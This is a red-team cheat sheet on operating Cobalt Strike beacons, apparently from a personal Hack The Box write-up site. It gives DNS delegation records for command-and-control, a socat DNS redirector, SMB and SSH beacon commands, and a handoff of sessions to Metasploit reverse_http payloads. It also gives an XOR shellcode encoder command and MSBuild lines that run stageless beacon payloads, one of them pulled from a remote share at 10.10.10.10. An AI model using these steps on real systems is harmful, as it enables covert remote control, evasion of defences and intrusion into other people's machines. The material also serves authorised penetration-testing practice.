~/bokkapig
hack the box machine writeups
← cd ..

Cobalt Strike - Beacons

contents
cobalt-strike-beacons.md

DNS Beacon#

DNS Configuration#

  • Edit the Zone File for the domain
  • Create an A record for Cobalt Strike system
  • Create an NS record that points to FQDN of your Cobalt Strike system

Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server’s A record.

Example of DNS on Digital Ocean:

NS  example.com                     directs to 10.10.10.10.            86400NS  polling.campaigns.example.com   directs to campaigns.example.com. 3600A campaigns.example.com           directs to 10.10.10.10             3600

After creating a DNS listener (Beacon DNS), verify that your domains resolve to 0.0.0.0

  • nslookup jibberish.beacon polling.campaigns.domain.com
  • nslookup jibberish.beacon campaigns.domain.com

If you have trouble with DNS, you can restart the systemd service and force Google DNS nameservers.

systemctl disable systemd-resolvedsystemctl stop systemd-resolvedrm /etc/resolv.confecho "nameserver 8.8.8.8" >  /etc/resolv.confecho "nameserver 8.8.4.4" >>  /etc/resolv.conf

DNS Redirector#

socat -T 1 udp4-listen:53,fork udp4:teamserver.example.net:53

Debug the DNS queries with tcpdump -l -n -s 5655 -i eth0 udp port 53.

DNS Mode#

ModeDescription
mode dns-txtDNS TXT record data channel (default)
mode dnsDNS A record data channel
mode dns6DNS AAAA record channel

SMB Beacon#

link [host] [pipename]connect [host] [port]unlink [host] [PID]jump [exec] [host] [pipe]

SMB Beacon uses Named Pipes. You might encounter these error code while running it.

Error CodeMeaningDescription
2File Not FoundThere is no beacon for you to link to
5Access is deniedInvalid credentials or you don’t have permission
53Bad NetpathYou have no trust relationship with the target system. It may or may not be a beacon there.

SSH Beacon#

# deploy a beaconbeacon> help sshUse: ssh [target:port] [user] [pass]Spawn an SSH client and attempt to login to the specified targetbeacon> help ssh-keyUse: ssh [target:port] [user] [/path/to/key.pem]Spawn an SSH client and attempt to login to the specified target# beacon's commandsupload                    Upload a filedownload                  Download a filesocks                     Start SOCKS4a server to relay trafficsudo                      Run a command via sudorportfwd                  Setup a reverse port forwardshell                     Execute a command via the shell

Metasploit compatibility#

  • Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
  • Set LHOST and LPORT to the beacon
  • Set DisablePayloadHandler to True
  • Set PrependMigrate to True
  • exploit -j

Custom Payloads#

* Attacks > Packages > Payload Generator * Attacks > Packages > Scripted Web Delivery (S)$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml

References#